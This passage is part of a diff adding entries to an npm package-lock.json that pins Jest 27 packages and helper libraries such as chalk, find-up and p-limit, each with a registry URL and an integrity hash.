+          "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+          "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="
+        },
+        "find-up": {
+          "version": "4.1.0",
+          "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+          "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+          "requires": {
+            "locate-path": "^5.0.0",
+            "path-exists": "^4.0.0"
+          }
+        },
+        "locate-path": {
+          "version": "5.0.0",
+          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+          "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+          "requires": {
+            "p-locate": "^4.1.0"
+          }
+        },
+        "p-limit": {
+          "version": "2.3.0",
+          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+          "requires": {
+            "p-try": "^2.0.0"
+          }
+        },
+        "p-locate": {
+          "version": "4.1.0",
+          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+          "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+          "requires": {
+            "p-limit": "^2.2.0"
+          }
+        }
+      }
+    },
+    "@istanbuljs/schema": {
+      "version": "0.1.3",
+      "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz",
+      "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA=="
+    },
+    "@jest/console": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.5.1.tgz",
+      "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "jest-message-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "slash": "^3.0.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@jest/core": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.5.1.tgz",
+      "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==",
+      "requires": {
+        "@jest/console": "^27.5.1",
+        "@jest/reporters": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "ansi-escapes": "^4.2.1",
+        "chalk": "^4.0.0",
+        "emittery": "^0.8.1",
+        "exit": "^0.1.2",
+        "graceful-fs": "^4.2.9",
+        "jest-changed-files": "^27.5.1",
+        "jest-config": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-resolve-dependencies": "^27.5.1",
+        "jest-runner": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-validate": "^27.5.1",
+        "jest-watcher": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "rimraf": "^3.0.0",
+        "slash": "^3.0.0",
+        "strip-ansi": "^6.0.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@jest/environment": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.5.1.tgz",
+      "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==",
+      "requires": {
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@jest/fake-timers": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.5.1.tgz",
+      "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "@sinonjs/fake-timers": "^8.0.1",
+        "@types/node": "*",
+        "jest-message-util": "^27.5.1",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@jest/globals": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.5.1.tgz",
+      "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==",
+      "requires": {
+        "@jest/environment": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "expect": "^27.5.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@jest/reporters": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.5.1.tgz",
+      "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==",
+      "requires": {
+        "@bcoe/v8-coverage": "^0.2.3",
+        "@jest/console": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "collect-v8-coverage": "^1.0.0",
+        "exit": "^0.1.2",
+        "glob": "^7.1.2",
+        "graceful-fs": "^4.2.9",
+        "istanbul-lib-coverage": "^3.0.0",
+        "istanbul-lib-instrument": "^5.1.0",
+        "istanbul-lib-report": "^3.0.0",
+        "istanbul-lib-source-maps": "^4.0.0",
+        "istanbul-reports": "^3.1.3",
+        "jest-haste-map": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "slash": "^3.0.0",
+        "source-map": "^0.6.0",
+        "string-length": "^4.0.1",
+        "terminal-link": "^2.0.0",
+        "v8-to-istanbul": "^8.1.0"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "@jest/schemas": {
+      "version": "28.1.3",
+      "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-28.1.3.tgz",
+      "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==",
+      "requires": {
+        "@sinclair/typebox": "^0.24.1"
+      }
+    },
+    "@jest/source-map": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.5.1.tgz",
+      "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==",
+      "requires": {
